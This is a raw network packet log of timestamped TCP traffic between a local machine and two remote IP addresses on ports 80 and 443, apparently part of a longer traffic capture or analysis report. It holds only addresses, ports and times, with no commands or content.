Nov 23, 2024 11:22:16.904141903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.904206991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.904251099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.904941082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.904983997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.905263901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.905308962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.905405998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.905452013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.906105042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.906167030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.906219006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.906267881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.906977892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.907025099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.907099009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.907145023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.907885075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.907938004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.907968044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.908011913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.908739090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.908787012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.908904076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.908948898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.909609079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.909655094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.909677982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.909720898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.910465956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.910531044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.910593033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.910640001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.911569118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.911612034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.911674976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.911720037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.912393093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.912440062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.912539005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.912585974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.913199902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.913243055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.913315058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.913362026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.913991928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.914026976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.914037943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.914067984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.914798975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.914848089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.914910078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.914954901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.915632963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.915679932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.915791988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.915833950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.916517019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.916531086 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.916559935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.916685104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.916734934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.917406082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.917449951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.917536020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.917577028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.918286085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.918319941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.918329000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.918360949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.919265985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.919318914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.919353008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.919399023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.920017958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.920063019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.920070887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.920114994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.920830011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.920876980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.920883894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.920933962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.921701908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.921749115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.921881914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.921927929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.922600031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.922641039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.922725916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.922771931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.923449039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.923499107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.923552990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.923604012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.924330950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.924381018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.924400091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.924439907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.925180912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.925221920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.925268888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.925309896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.926018000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.926067114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.926125050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.926168919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.926904917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.926939011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.926956892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.926995039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.927045107 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:16.927071095 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.927798033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.927846909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.927944899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.927990913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.928397894 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:16.928406000 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.928617954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.928666115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.928728104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.928775072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.929586887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.929637909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.929645061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.929689884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.930438042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.930473089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.930485010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.930515051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.931288958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.931335926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.931401968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.931499004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.932125092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.932159901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.932172060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.932202101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.933064938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.933099985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.933114052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.933142900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.933871984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.933923006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.933927059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.933969975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.934735060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.934786081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.934788942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.934832096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.935590982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.935640097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.935646057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.935691118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.936495066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.936546087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.936608076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.936654091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.937340021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.937390089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.937393904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.937477112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.938231945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.938281059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.938393116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.938442945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.939085960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.939135075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.939182997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.939228058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.939937115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.939996004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.940026999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.940073967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.940781116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.940828085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.940890074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.940931082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.941761971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.941811085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.941886902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.941936016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.942557096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.942604065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.942665100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.942704916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.943387032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.943435907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.943442106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.943485022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.944367886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.944401979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.944427013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.944449902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.945126057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.945162058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.945177078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.945198059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.946033955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.946070910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.946078062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.946114063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.946930885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.946966887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.946983099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.947021961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.948004961 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.948107004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.948143005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.948158026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.948187113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.972774029 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:16.972783089 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:16.976804018 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:16.976808071 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.104074955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.104144096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.104146957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.104196072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.104254961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.104302883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.104309082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.104352951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.105135918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.105195999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.105243921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.105293036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.106015921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.106071949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.106108904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.106154919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.106678963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.106729984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.106858015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.106905937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.107722044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.107785940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.107850075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.107897043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.108489990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.108539104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.108586073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.108630896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.109519005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.109572887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.109635115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.109674931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.110199928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.110251904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.110255003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.110299110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.110968113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.111017942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.111079931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.111124992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.111864090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.111978054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.111994028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.112023115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.112730980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.112842083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.112876892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.112895966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.113564014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.113612890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.113657951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.113703966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.114428043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.114475012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.114550114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.114593029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.115284920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.115343094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.115411043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.115454912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.116158009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.116204977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.116574049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.116621017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.117026091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.117095947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.117157936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.117208958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.117925882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.117984056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.118033886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.118081093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.118762016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.118815899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.118817091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.118863106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.119647026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.119693041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.119894028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.119942904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.120477915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.120528936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.120589972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.120635986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.121351957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.121406078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.121562004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.121608973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.122266054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.122318029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.122343063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.122386932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.123095989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.123148918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.123195887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.123240948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.123961926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.124011040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.124130011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.124175072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.124840021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.124895096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.124927998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.124977112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.125729084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.125777960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.125786066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.125830889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.126574993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.126632929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.126693964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.126744986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.127532959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.127588034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.127657890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.127706051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.128408909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.128462076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.128494024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.128539085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.129177094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.129231930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.129364014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.129410982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.130111933 CET	80	49765	31.41.244.11	192.168.2.4
